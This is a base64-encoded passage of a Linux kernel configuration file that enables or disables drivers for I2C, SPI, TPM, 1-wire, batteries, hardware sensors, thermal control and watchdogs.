R19IVkNfWEVOIGlzIG5vdCBzZXQKQ09ORklHX1ZJUlRJT19DT05TT0xFPW0KIyBDT05GSUdfSVBN SV9IQU5ETEVSIGlzIG5vdCBzZXQKQ09ORklHX0hXX1JBTkRPTT1tCkNPTkZJR19IV19SQU5ET01f VElNRVJJT01FTT1tCiMgQ09ORklHX0hXX1JBTkRPTV9JTlRFTCBpcyBub3Qgc2V0CiMgQ09ORklH X0hXX1JBTkRPTV9BTUQgaXMgbm90IHNldApDT05GSUdfSFdfUkFORE9NX1ZJQT1tCiMgQ09ORklH X0hXX1JBTkRPTV9WSVJUSU8gaXMgbm90IHNldAojIENPTkZJR19IV19SQU5ET01fVFBNIGlzIG5v dCBzZXQKQ09ORklHX05WUkFNPW0KIyBDT05GSUdfUjM5NjQgaXMgbm90IHNldApDT05GSUdfQVBQ TElDT009eQoKIwojIFBDTUNJQSBjaGFyYWN0ZXIgZGV2aWNlcwojCkNPTkZJR19TWU5DTElOS19D Uz1tCkNPTkZJR19DQVJETUFOXzQwMDA9bQpDT05GSUdfQ0FSRE1BTl80MDQwPW0KIyBDT05GSUdf TVdBVkUgaXMgbm90IHNldApDT05GSUdfUkFXX0RSSVZFUj15CkNPTkZJR19NQVhfUkFXX0RFVlM9 MjU2CkNPTkZJR19IUEVUPXkKIyBDT05GSUdfSFBFVF9NTUFQIGlzIG5vdCBzZXQKQ09ORklHX0hB TkdDSEVDS19USU1FUj15CkNPTkZJR19UQ0dfVFBNPXkKIyBDT05GSUdfVENHX1RJUyBpcyBub3Qg c2V0CkNPTkZJR19UQ0dfVElTX0kyQ19BVE1FTD15CiMgQ09ORklHX1RDR19USVNfSTJDX0lORklO RU9OIGlzIG5vdCBzZXQKIyBDT05GSUdfVENHX1RJU19JMkNfTlVWT1RPTiBpcyBub3Qgc2V0CkNP TkZJR19UQ0dfTlNDPXkKQ09ORklHX1RDR19BVE1FTD1tCiMgQ09ORklHX1RDR19JTkZJTkVPTiBp cyBub3Qgc2V0CiMgQ09ORklHX1RDR19YRU4gaXMgbm90IHNldAojIENPTkZJR19UQ0dfQ1JCIGlz IG5vdCBzZXQKQ09ORklHX1RFTENMT0NLPW0KQ09ORklHX0RFVlBPUlQ9eQpDT05GSUdfWElMTFlC VVM9bQpDT05GSUdfWElMTFlCVVNfUENJRT1tCiMgQ09ORklHX1hJTExZQlVTX09GIGlzIG5vdCBz ZXQKCiMKIyBJMkMgc3VwcG9ydAojCkNPTkZJR19JMkM9eQpDT05GSUdfQUNQSV9JMkNfT1BSRUdJ T049eQpDT05GSUdfSTJDX0JPQVJESU5GTz15CiMgQ09ORklHX0kyQ19DT01QQVQgaXMgbm90IHNl dApDT05GSUdfSTJDX0NIQVJERVY9eQpDT05GSUdfSTJDX01VWD15CgojCiMgTXVsdGlwbGV4ZXIg STJDIENoaXAgc3VwcG9ydAojCkNPTkZJR19JMkNfTVVYX1BDQTk1NDE9eQpDT05GSUdfSTJDX01V WF9QSU5DVFJMPXkKQ09ORklHX0kyQ19NVVhfUkVHPXkKIyBDT05GSUdfSTJDX0hFTFBFUl9BVVRP IGlzIG5vdCBzZXQKQ09ORklHX0kyQ19TTUJVUz15CgojCiMgSTJDIEFsZ29yaXRobXMKIwpDT05G SUdfSTJDX0FMR09CSVQ9eQpDT05GSUdfSTJDX0FMR09QQ0Y9bQpDT05GSUdfSTJDX0FMR09QQ0E9 bQoKIwojIEkyQyBIYXJkd2FyZSBCdXMgc3VwcG9ydAojCgojCiMgUEMgU01CdXMgaG9zdCBjb250 cm9sbGVyIGRyaXZlcnMKIwpDT05GSUdfSTJDX0FMSTE1MzU9bQpDT05GSUdfSTJDX0FMSTE1NjM9 eQojIENPTkZJR19JMkNfQUxJMTVYMyBpcyBub3Qgc2V0CkNPTkZJR19JMkNfQU1ENzU2PXkKIyBD T05GSUdfSTJDX0FNRDc1Nl9TNDg4MiBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19BTUQ4MTExIGlz IG5vdCBzZXQKQ09ORklHX0kyQ19JODAxPXkKQ09ORklHX0kyQ19JU0NIPXkKQ09ORklHX0kyQ19J U01UPW0KQ09ORklHX0kyQ19QSUlYND15CkNPTkZJR19JMkNfTkZPUkNFMj1tCkNPTkZJR19JMkNf TkZPUkNFMl9TNDk4NT1tCkNPTkZJR19JMkNfU0lTNTU5NT15CiMgQ09ORklHX0kyQ19TSVM2MzAg aXMgbm90IHNldApDT05GSUdfSTJDX1NJUzk2WD15CiMgQ09ORklHX0kyQ19WSUEgaXMgbm90IHNl dApDT05GSUdfSTJDX1ZJQVBSTz15CgojCiMgQUNQSSBkcml2ZXJzCiMKIyBDT05GSUdfSTJDX1ND TUkgaXMgbm90IHNldAoKIwojIEkyQyBzeXN0ZW0gYnVzIGRyaXZlcnMgKG1vc3RseSBlbWJlZGRl ZCAvIHN5c3RlbS1vbi1jaGlwKQojCkNPTkZJR19JMkNfREVTSUdOV0FSRV9DT1JFPW0KQ09ORklH X0kyQ19ERVNJR05XQVJFX1BMQVRGT1JNPW0KQ09ORklHX0kyQ19ERVNJR05XQVJFX1BDST1tCkNP TkZJR19JMkNfREVTSUdOV0FSRV9CQVlUUkFJTD15CkNPTkZJR19JMkNfRU1FVjI9eQojIENPTkZJ R19JMkNfT0NPUkVTIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX1BDQV9QTEFURk9STSBpcyBub3Qg c2V0CiMgQ09ORklHX0kyQ19QWEFfUENJIGlzIG5vdCBzZXQKQ09ORklHX0kyQ19SSzNYPXkKQ09O RklHX0kyQ19TSU1URUM9bQpDT05GSUdfSTJDX1hJTElOWD15CgojCiMgRXh0ZXJuYWwgSTJDL1NN QnVzIGFkYXB0ZXIgZHJpdmVycwojCkNPTkZJR19JMkNfRElPTEFOX1UyQz15CiMgQ09ORklHX0ky Q19QQVJQT1JUIGlzIG5vdCBzZXQKQ09ORklHX0kyQ19QQVJQT1JUX0xJR0hUPW0KIyBDT05GSUdf STJDX1JPQk9URlVaWl9PU0lGIGlzIG5vdCBzZXQKQ09ORklHX0kyQ19UQU9TX0VWTT15CkNPTkZJ R19JMkNfVElOWV9VU0I9eQpDT05GSUdfSTJDX1ZJUEVSQk9BUkQ9eQoKIwojIE90aGVyIEkyQy9T TUJ1cyBidXMgZHJpdmVycwojCkNPTkZJR19JMkNfQ1JPU19FQ19UVU5ORUw9eQojIENPTkZJR19J MkNfU1RVQiBpcyBub3Qgc2V0CkNPTkZJR19JMkNfU0xBVkU9eQpDT05GSUdfSTJDX1NMQVZFX0VF UFJPTT15CiMgQ09ORklHX0kyQ19ERUJVR19DT1JFIGlzIG5vdCBzZXQKQ09ORklHX0kyQ19ERUJV R19BTEdPPXkKQ09ORklHX0kyQ19ERUJVR19CVVM9eQpDT05GSUdfU1BJPXkKIyBDT05GSUdfU1BJ X0RFQlVHIGlzIG5vdCBzZXQKQ09ORklHX1NQSV9NQVNURVI9eQoKIwojIFNQSSBNYXN0ZXIgQ29u dHJvbGxlciBEcml2ZXJzCiMKQ09ORklHX1NQSV9BTFRFUkE9bQpDT05GSUdfU1BJX0JJVEJBTkc9 bQpDT05GSUdfU1BJX0JVVFRFUkZMWT1tCkNPTkZJR19TUElfQ0FERU5DRT1tCiMgQ09ORklHX1NQ SV9MTTcwX0xMUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NQSV9GU0xfU1BJIGlzIG5vdCBzZXQKIyBD T05GSUdfU1BJX1BYQTJYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NQSV9QWEEyWFhfUENJIGlzIG5v dCBzZXQKIyBDT05GSUdfU1BJX1NDMThJUzYwMiBpcyBub3Qgc2V0CkNPTkZJR19TUElfWENPTU09 eQojIENPTkZJR19TUElfWElMSU5YIGlzIG5vdCBzZXQKQ09ORklHX1NQSV9aWU5RTVBfR1FTUEk9 bQpDT05GSUdfU1BJX0RFU0lHTldBUkU9eQpDT05GSUdfU1BJX0RXX1BDST15CkNPTkZJR19TUElf RFdfTUlEX0RNQT15CkNPTkZJR19TUElfRFdfTU1JTz15CgojCiMgU1BJIFByb3RvY29sIE1hc3Rl cnMKIwojIENPTkZJR19TUElfU1BJREVWIGlzIG5vdCBzZXQKQ09ORklHX1NQSV9UTEU2MlgwPXkK Q09ORklHX1NQTUk9bQpDT05GSUdfSFNJPW0KQ09ORklHX0hTSV9CT0FSRElORk89eQoKIwojIEhT SSBjb250cm9sbGVycwojCgojCiMgSFNJIGNsaWVudHMKIwojIENPTkZJR19IU0lfQ0hBUiBpcyBu b3Qgc2V0CgojCiMgUFBTIHN1cHBvcnQKIwojIENPTkZJR19QUFMgaXMgbm90IHNldAoKIwojIFBQ UyBnZW5lcmF0b3JzIHN1cHBvcnQKIwoKIwojIFBUUCBjbG9jayBzdXBwb3J0CiMKCiMKIyBFbmFi bGUgUEhZTElCIGFuZCBORVRXT1JLX1BIWV9USU1FU1RBTVBJTkcgdG8gc2VlIHRoZSBhZGRpdGlv bmFsIGNsb2Nrcy4KIwpDT05GSUdfUElOQ1RSTD15CgojCiMgUGluIGNvbnRyb2xsZXJzCiMKQ09O RklHX1BJTk1VWD15CkNPTkZJR19QSU5DT05GPXkKQ09ORklHX0dFTkVSSUNfUElOQ09ORj15CkNP TkZJR19ERUJVR19QSU5DVFJMPXkKQ09ORklHX1BJTkNUUkxfU0lOR0xFPXkKIyBDT05GSUdfUElO Q1RSTF9DSEVSUllWSUVXIGlzIG5vdCBzZXQKIyBDT05GSUdfUElOQ1RSTF9TVU5SSVNFUE9JTlQg aXMgbm90IHNldApDT05GSUdfQVJDSF9XQU5UX09QVElPTkFMX0dQSU9MSUI9eQojIENPTkZJR19H UElPTElCIGlzIG5vdCBzZXQKQ09ORklHX1cxPXkKCiMKIyAxLXdpcmUgQnVzIE1hc3RlcnMKIwoj IENPTkZJR19XMV9NQVNURVJfTUFUUk9YIGlzIG5vdCBzZXQKIyBDT05GSUdfVzFfTUFTVEVSX0RT MjQ5MCBpcyBub3Qgc2V0CiMgQ09ORklHX1cxX01BU1RFUl9EUzI0ODIgaXMgbm90IHNldAojIENP TkZJR19XMV9NQVNURVJfRFMxV00gaXMgbm90IHNldAoKIwojIDEtd2lyZSBTbGF2ZXMKIwpDT05G SUdfVzFfU0xBVkVfVEhFUk09eQojIENPTkZJR19XMV9TTEFWRV9TTUVNIGlzIG5vdCBzZXQKQ09O RklHX1cxX1NMQVZFX0RTMjQwOD1tCiMgQ09ORklHX1cxX1NMQVZFX0RTMjQwOF9SRUFEQkFDSyBp cyBub3Qgc2V0CiMgQ09ORklHX1cxX1NMQVZFX0RTMjQxMyBpcyBub3Qgc2V0CkNPTkZJR19XMV9T TEFWRV9EUzI0MDY9bQojIENPTkZJR19XMV9TTEFWRV9EUzI0MjMgaXMgbm90IHNldAojIENPTkZJ R19XMV9TTEFWRV9EUzI0MzEgaXMgbm90IHNldApDT05GSUdfVzFfU0xBVkVfRFMyNDMzPXkKQ09O RklHX1cxX1NMQVZFX0RTMjQzM19DUkM9eQojIENPTkZJR19XMV9TTEFWRV9EUzI3NjAgaXMgbm90 IHNldApDT05GSUdfVzFfU0xBVkVfRFMyNzgwPXkKQ09ORklHX1cxX1NMQVZFX0RTMjc4MT15CiMg Q09ORklHX1cxX1NMQVZFX0RTMjhFMDQgaXMgbm90IHNldAojIENPTkZJR19XMV9TTEFWRV9CUTI3 MDAwIGlzIG5vdCBzZXQKQ09ORklHX1BPV0VSX1NVUFBMWT15CiMgQ09ORklHX1BPV0VSX1NVUFBM WV9ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX1BEQV9QT1dFUiBpcyBub3Qgc2V0CkNPTkZJR19H RU5FUklDX0FEQ19CQVRURVJZPW0KQ09ORklHX01BWDg5MjVfUE9XRVI9bQpDT05GSUdfV004MzFY X0JBQ0tVUD15CiMgQ09ORklHX1dNODMxWF9QT1dFUiBpcyBub3Qgc2V0CkNPTkZJR19XTTgzNTBf UE9XRVI9bQpDT05GSUdfVEVTVF9QT1dFUj15CiMgQ09ORklHX0JBVFRFUllfODhQTTg2MFggaXMg bm90IHNldApDT05GSUdfQkFUVEVSWV9EUzI3ODA9eQpDT05GSUdfQkFUVEVSWV9EUzI3ODE9eQpD T05GSUdfQkFUVEVSWV9EUzI3ODI9eQpDT05GSUdfQkFUVEVSWV9TQlM9eQpDT05GSUdfQkFUVEVS WV9CUTI3WFhYPW0KIyBDT05GSUdfQkFUVEVSWV9CUTI3WFhYX0kyQyBpcyBub3Qgc2V0CkNPTkZJ R19CQVRURVJZX0JRMjdYWFhfUExBVEZPUk09eQpDT05GSUdfQkFUVEVSWV9EQTkwMzA9eQpDT05G SUdfQkFUVEVSWV9EQTkwNTI9eQojIENPTkZJR19CQVRURVJZX01BWDE3MDQwIGlzIG5vdCBzZXQK IyBDT05GSUdfQkFUVEVSWV9NQVgxNzA0MiBpcyBub3Qgc2V0CiMgQ09ORklHX0JBVFRFUllfVFdM NDAzMF9NQURDIGlzIG5vdCBzZXQKIyBDT05GSUdfQ0hBUkdFUl9QQ0Y1MDYzMyBpcyBub3Qgc2V0 CiMgQ09ORklHX0JBVFRFUllfUlg1MSBpcyBub3Qgc2V0CkNPTkZJR19DSEFSR0VSX0lTUDE3MDQ9 bQojIENPTkZJR19DSEFSR0VSX01BWDg5MDMgaXMgbm90IHNldAojIENPTkZJR19DSEFSR0VSX1RX TDQwMzAgaXMgbm90IHNldApDT05GSUdfQ0hBUkdFUl9MUDg3Mjc9bQojIENPTkZJR19DSEFSR0VS X01BTkFHRVIgaXMgbm90IHNldAojIENPTkZJR19DSEFSR0VSX01BWDE0NTc3IGlzIG5vdCBzZXQK Q09ORklHX0NIQVJHRVJfQlEyNDE1WD1tCiMgQ09ORklHX0NIQVJHRVJfU01CMzQ3IGlzIG5vdCBz ZXQKQ09ORklHX0JBVFRFUllfR0FVR0VfTFRDMjk0MT1tCiMgQ09ORklHX0JBVFRFUllfUlQ1MDMz IGlzIG5vdCBzZXQKQ09ORklHX1BPV0VSX1JFU0VUPXkKIyBDT05GSUdfUE9XRVJfUkVTRVRfQVMz NzIyIGlzIG5vdCBzZXQKQ09ORklHX1BPV0VSX1JFU0VUX1JFU1RBUlQ9eQojIENPTkZJR19QT1dF Ul9SRVNFVF9TWVNDT04gaXMgbm90IHNldAojIENPTkZJR19QT1dFUl9SRVNFVF9TWVNDT05fUE9X RVJPRkYgaXMgbm90IHNldApDT05GSUdfUE9XRVJfQVZTPXkKQ09ORklHX0hXTU9OPW0KQ09ORklH X0hXTU9OX1ZJRD1tCiMgQ09ORklHX0hXTU9OX0RFQlVHX0NISVAgaXMgbm90IHNldAoKIwojIE5h dGl2ZSBkcml2ZXJzCiMKQ09ORklHX1NFTlNPUlNfQUQ3MzE0PW0KQ09ORklHX1NFTlNPUlNfQUQ3 NDE0PW0KIyBDT05GSUdfU0VOU09SU19BRDc0MTggaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JT X0FETTEwMjEgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19BRE0xMDI1PW0KQ09ORklHX1NFTlNP UlNfQURNMTAyNj1tCkNPTkZJR19TRU5TT1JTX0FETTEwMjk9bQojIENPTkZJR19TRU5TT1JTX0FE TTEwMzEgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19BRE05MjQwPW0KQ09ORklHX1NFTlNPUlNf QURUN1gxMD1tCiMgQ09ORklHX1NFTlNPUlNfQURUNzMxMCBpcyBub3Qgc2V0CkNPTkZJR19TRU5T T1JTX0FEVDc0MTA9bQojIENPTkZJR19TRU5TT1JTX0FEVDc0MTEgaXMgbm90IHNldApDT05GSUdf U0VOU09SU19BRFQ3NDYyPW0KQ09ORklHX1NFTlNPUlNfQURUNzQ3MD1tCiMgQ09ORklHX1NFTlNP UlNfQURUNzQ3NSBpcyBub3Qgc2V0CkNPTkZJR19TRU5TT1JTX0FTQzc2MjE9bQpDT05GSUdfU0VO U09SU19LOFRFTVA9bQpDT05GSUdfU0VOU09SU19LMTBURU1QPW0KQ09ORklHX1NFTlNPUlNfRkFN MTVIX1BPV0VSPW0KQ09ORklHX1NFTlNPUlNfQVBQTEVTTUM9bQpDT05GSUdfU0VOU09SU19BU0Ix MDA9bQojIENPTkZJR19TRU5TT1JTX0FUWFAxIGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfRFM2 MjA9bQpDT05GSUdfU0VOU09SU19EUzE2MjE9bQojIENPTkZJR19TRU5TT1JTX0RFTExfU01NIGlz IG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfREE5MDUyX0FEQz1tCkNPTkZJR19TRU5TT1JTX0RBOTA1 NT1tCiMgQ09ORklHX1NFTlNPUlNfSTVLX0FNQiBpcyBub3Qgc2V0CkNPTkZJR19TRU5TT1JTX0Y3 MTgwNUY9bQpDT05GSUdfU0VOU09SU19GNzE4ODJGRz1tCkNPTkZJR19TRU5TT1JTX0Y3NTM3NVM9 bQpDT05GSUdfU0VOU09SU19NQzEzNzgzX0FEQz1tCkNPTkZJR19TRU5TT1JTX0ZTQ0hNRD1tCkNP TkZJR19TRU5TT1JTX0dMNTE4U009bQpDT05GSUdfU0VOU09SU19HTDUyMFNNPW0KIyBDT05GSUdf U0VOU09SU19HNzYwQSBpcyBub3Qgc2V0CkNPTkZJR19TRU5TT1JTX0c3NjI9bQpDT05GSUdfU0VO U09SU19ISUg2MTMwPW0KIyBDT05GSUdfU0VOU09SU19JSU9fSFdNT04gaXMgbm90IHNldAojIENP TkZJR19TRU5TT1JTX0k1NTAwIGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfQ09SRVRFTVA9bQpD T05GSUdfU0VOU09SU19JVDg3PW0KIyBDT05GSUdfU0VOU09SU19KQzQyIGlzIG5vdCBzZXQKIyBD T05GSUdfU0VOU09SU19QT1dSMTIyMCBpcyBub3Qgc2V0CkNPTkZJR19TRU5TT1JTX0xJTkVBR0U9 bQojIENPTkZJR19TRU5TT1JTX0xUQzI5NDUgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0xU QzQxNTEgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19MVEM0MjE1PW0KIyBDT05GSUdfU0VOU09S U19MVEM0MjIyIGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfTFRDNDI0NT1tCiMgQ09ORklHX1NF TlNPUlNfTFRDNDI2MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTFRDNDI2MSBpcyBub3Qg c2V0CkNPTkZJR19TRU5TT1JTX01BWDExMTE9bQpDT05GSUdfU0VOU09SU19NQVgxNjA2NT1tCiMg Q09ORklHX1NFTlNPUlNfTUFYMTYxOSBpcyBub3Qgc2V0CkNPTkZJR19TRU5TT1JTX01BWDE2Njg9 bQpDT05GSUdfU0VOU09SU19NQVgxOTc9bQojIENPTkZJR19TRU5TT1JTX01BWDY2MzkgaXMgbm90 IHNldAojIENPTkZJR19TRU5TT1JTX01BWDY2NDIgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19N QVg2NjUwPW0KIyBDT05GSUdfU0VOU09SU19NQVg2Njk3IGlzIG5vdCBzZXQKIyBDT05GSUdfU0VO U09SU19NQVgzMTc5MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfSFRVMjEgaXMgbm90IHNl dApDT05GSUdfU0VOU09SU19NQ1AzMDIxPW0KQ09ORklHX1NFTlNPUlNfQURDWFg9bQpDT05GSUdf U0VOU09SU19MTTYzPW0KQ09ORklHX1NFTlNPUlNfTE03MD1tCkNPTkZJR19TRU5TT1JTX0xNNzM9 bQpDT05GSUdfU0VOU09SU19MTTc1PW0KQ09ORklHX1NFTlNPUlNfTE03Nz1tCkNPTkZJR19TRU5T T1JTX0xNNzg9bQojIENPTkZJR19TRU5TT1JTX0xNODAgaXMgbm90IHNldAojIENPTkZJR19TRU5T T1JTX0xNODMgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19MTTg1PW0KQ09ORklHX1NFTlNPUlNf TE04Nz1tCkNPTkZJR19TRU5TT1JTX0xNOTA9bQojIENPTkZJR19TRU5TT1JTX0xNOTIgaXMgbm90 IHNldAojIENPTkZJR19TRU5TT1JTX0xNOTMgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19MTTk1 MjM0PW0KIyBDT05GSUdfU0VOU09SU19MTTk1MjQxIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09S U19MTTk1MjQ1IGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19QQzg3MzYwIGlzIG5vdCBzZXQK Q09ORklHX1NFTlNPUlNfUEM4NzQyNz1tCkNPTkZJR19TRU5TT1JTX05UQ19USEVSTUlTVE9SPW0K Q09ORklHX1NFTlNPUlNfTkNUNjY4Mz1tCkNPTkZJR19TRU5TT1JTX05DVDY3NzU9bQojIENPTkZJ R19TRU5TT1JTX05DVDc4MDIgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19OQ1Q3OTA0PW0KQ09O RklHX1NFTlNPUlNfUENGODU5MT1tCkNPTkZJR19QTUJVUz1tCiMgQ09ORklHX1NFTlNPUlNfUE1C VVMgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19BRE0xMjc1PW0KQ09ORklHX1NFTlNPUlNfTE0y NTA2Nj1tCkNPTkZJR19TRU5TT1JTX0xUQzI5Nzg9bQpDT05GSUdfU0VOU09SU19MVEMyOTc4X1JF R1VMQVRPUj15CkNPTkZJR19TRU5TT1JTX01BWDE2MDY0PW0KQ09ORklHX1NFTlNPUlNfTUFYMjA3 NTE9bQojIENPTkZJR19TRU5TT1JTX01BWDM0NDQwIGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNf TUFYODY4OD1tCiMgQ09ORklHX1NFTlNPUlNfVFBTNDA0MjIgaXMgbm90IHNldApDT05GSUdfU0VO U09SU19VQ0Q5MDAwPW0KQ09ORklHX1NFTlNPUlNfVUNEOTIwMD1tCkNPTkZJR19TRU5TT1JTX1pM NjEwMD1tCiMgQ09ORklHX1NFTlNPUlNfUFdNX0ZBTiBpcyBub3Qgc2V0CkNPTkZJR19TRU5TT1JT X1NIVDIxPW0KQ09ORklHX1NFTlNPUlNfU0hUQzE9bQpDT05GSUdfU0VOU09SU19TSVM1NTk1PW0K Q09ORklHX1NFTlNPUlNfRE1FMTczNz1tCiMgQ09ORklHX1NFTlNPUlNfRU1DMTQwMyBpcyBub3Qg c2V0CkNPTkZJR19TRU5TT1JTX0VNQzIxMDM9bQpDT05GSUdfU0VOU09SU19FTUM2VzIwMT1tCiMg Q09ORklHX1NFTlNPUlNfU01TQzQ3TTEgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19TTVNDNDdN MTkyPW0KQ09ORklHX1NFTlNPUlNfU01TQzQ3QjM5Nz1tCkNPTkZJR19TRU5TT1JTX1NDSDU2WFhf Q09NTU9OPW0KQ09ORklHX1NFTlNPUlNfU0NINTYyNz1tCiMgQ09ORklHX1NFTlNPUlNfU0NINTYz NiBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfU01NNjY1IGlzIG5vdCBzZXQKQ09ORklHX1NF TlNPUlNfQURDMTI4RDgxOD1tCkNPTkZJR19TRU5TT1JTX0FEUzEwMTU9bQpDT05GSUdfU0VOU09S U19BRFM3ODI4PW0KQ09ORklHX1NFTlNPUlNfQURTNzg3MT1tCkNPTkZJR19TRU5TT1JTX0FNQzY4 MjE9bQojIENPTkZJR19TRU5TT1JTX0lOQTIwOSBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNf SU5BMlhYIGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfVEM3ND1tCkNPTkZJR19TRU5TT1JTX1RI TUM1MD1tCkNPTkZJR19TRU5TT1JTX1RNUDEwMj1tCkNPTkZJR19TRU5TT1JTX1RNUDEwMz1tCkNP TkZJR19TRU5TT1JTX1RNUDQwMT1tCiMgQ09ORklHX1NFTlNPUlNfVE1QNDIxIGlzIG5vdCBzZXQK Q09ORklHX1NFTlNPUlNfVFdMNDAzMF9NQURDPW0KQ09ORklHX1NFTlNPUlNfVklBX0NQVVRFTVA9 bQpDT05GSUdfU0VOU09SU19WSUE2ODZBPW0KQ09ORklHX1NFTlNPUlNfVlQxMjExPW0KQ09ORklH X1NFTlNPUlNfVlQ4MjMxPW0KQ09ORklHX1NFTlNPUlNfVzgzNzgxRD1tCkNPTkZJR19TRU5TT1JT X1c4Mzc5MUQ9bQpDT05GSUdfU0VOU09SU19XODM3OTJEPW0KQ09ORklHX1NFTlNPUlNfVzgzNzkz PW0KQ09ORklHX1NFTlNPUlNfVzgzNzk1PW0KIyBDT05GSUdfU0VOU09SU19XODM3OTVfRkFOQ1RS TCBpcyBub3Qgc2V0CkNPTkZJR19TRU5TT1JTX1c4M0w3ODVUUz1tCkNPTkZJR19TRU5TT1JTX1c4 M0w3ODZORz1tCkNPTkZJR19TRU5TT1JTX1c4MzYyN0hGPW0KQ09ORklHX1NFTlNPUlNfVzgzNjI3 RUhGPW0KIyBDT05GSUdfU0VOU09SU19XTTgzMVggaXMgbm90IHNldApDT05GSUdfU0VOU09SU19X TTgzNTA9bQoKIwojIEFDUEkgZHJpdmVycwojCkNPTkZJR19TRU5TT1JTX0FDUElfUE9XRVI9bQpD T05GSUdfU0VOU09SU19BVEswMTEwPW0KQ09ORklHX1RIRVJNQUw9eQojIENPTkZJR19USEVSTUFM X09GIGlzIG5vdCBzZXQKQ09ORklHX1RIRVJNQUxfV1JJVEFCTEVfVFJJUFM9eQpDT05GSUdfVEhF Uk1BTF9ERUZBVUxUX0dPVl9TVEVQX1dJU0U9eQojIENPTkZJR19USEVSTUFMX0RFRkFVTFRfR09W X0ZBSVJfU0hBUkUgaXMgbm90IHNldAojIENPTkZJR19USEVSTUFMX0RFRkFVTFRfR09WX1VTRVJf U1BBQ0UgaXMgbm90IHNldAojIENPTkZJR19USEVSTUFMX0RFRkFVTFRfR09WX1BPV0VSX0FMTE9D QVRPUiBpcyBub3Qgc2V0CiMgQ09ORklHX1RIRVJNQUxfR09WX0ZBSVJfU0hBUkUgaXMgbm90IHNl dApDT05GSUdfVEhFUk1BTF9HT1ZfU1RFUF9XSVNFPXkKQ09ORklHX1RIRVJNQUxfR09WX0JBTkdf QkFORz15CiMgQ09ORklHX1RIRVJNQUxfR09WX1VTRVJfU1BBQ0UgaXMgbm90IHNldAojIENPTkZJ R19USEVSTUFMX0dPVl9QT1dFUl9BTExPQ0FUT1IgaXMgbm90IHNldApDT05GSUdfVEhFUk1BTF9F TVVMQVRJT049eQpDT05GSUdfSU5URUxfU09DX0RUU19JT1NGX0NPUkU9eQpDT05GSUdfSU5URUxf U09DX0RUU19USEVSTUFMPXkKIyBDT05GSUdfSU5UMzQwWF9USEVSTUFMIGlzIG5vdCBzZXQKQ09O RklHX0lOVEVMX1BDSF9USEVSTUFMPXkKIyBDT05GSUdfUUNPTV9TUE1JX1RFTVBfQUxBUk0gaXMg bm90IHNldApDT05GSUdfV0FUQ0hET0c9eQpDT05GSUdfV0FUQ0hET0dfQ09SRT15CkNPTkZJR19X QVRDSERPR19OT1dBWU9VVD15CgojCiMgV2F0Y2hkb2cgRGV2aWNlIERyaXZlcnMKIwpDT05GSUdf U09GVF9XQVRDSERPRz1tCkNPTkZJR19EQTkwNTJfV0FUQ0hET0c9bQpDT05GSUdfREE5MDU1X1dB VENIRE9HPXkKQ09ORklHX1dNODMxWF9XQVRDSERPRz1tCiMgQ09ORklHX1dNODM1MF9XQVRDSERP RyBpcyBub3Qgc2V0CiMgQ09ORklHX1hJTElOWF9XQVRDSERPRyBpcyBub3Qgc2V0CiMgQ09ORklH X0NBREVOQ0VfV0FUQ0hET0cgaXMgbm90IHNldApDT05GSUdfRFdfV0FUQ0hET0c9bQpDT05GSUdf Uk41VDYxOF9XQVRDSERPRz1tCkNPTkZJR19UV0w0MDMwX1dBVENIRE9HPXkKQ09ORklHX01BWDYz WFhfV0FUQ0hET0c9eQojIENPTkZJR19SRVRVX1dBVENIRE9HIGlzIG5vdCBzZXQKQ09ORklHX0FD UVVJUkVfV0RUPXkKQ09ORklHX0FEVkFOVEVDSF9XRFQ9bQpDT05GSUdfQUxJTTE1MzVfV0RUPW0K Q09ORklHX0FMSU03MTAxX1dEVD15CiMgQ09ORklHX0Y3MTgwOEVfV0RUIGlzIG5vdCBzZXQKQ09O RklHX1NQNTEwMF9UQ089bQpDT05GSUdfU0JDX0ZJVFBDMl9XQVRDSERPRz1tCiMgQ09ORklHX0VV Uk9URUNIX1dEVCBpcyBub3Qgc2V0CkNPTkZJR19JQjcwMF9XRFQ9eQpDT05GSUdfSUJNQVNSPW0K IyBDT05GSUdfV0FGRVJfV0RUIGlzIG5vdCBzZXQKQ09ORklHX0k2MzAwRVNCX1dEVD15CiMgQ09O RklHX0lFNlhYX1dEVCBpcyBub3Qgc2V0CkNPTkZJR19JVENPX1dEVD15CiMgQ09ORklHX0lUQ09f VkVORE9SX1NVUFBPUlQgaXMgbm90IHNldApDT05GSUdfSVQ4NzEyRl9XRFQ9eQpDT05GSUdfSVQ4 N19XRFQ9bQpDT05GSUdfSFBfV0FUQ0hET0c9eQpDT05GSUdfSFBXRFRfTk1JX0RFQ09ESU5HPXkK Q09ORklHX1NDMTIwMF9XRFQ9bQojIENPTkZJR19QQzg3NDEzX1dEVCBpcyBub3Qgc2V0CkNPTkZJ R19OVl9UQ089eQojIENPTkZJR182MFhYX1dEVCBpcyBub3Qgc2V0CkNPTkZJR19DUFU1X1dEVD1t CiMgQ09ORklHX1NNU0NfU0NIMzExWF9XRFQgaXMgbm90IHNldAojIENPTkZJR19TTVNDMzdCNzg3 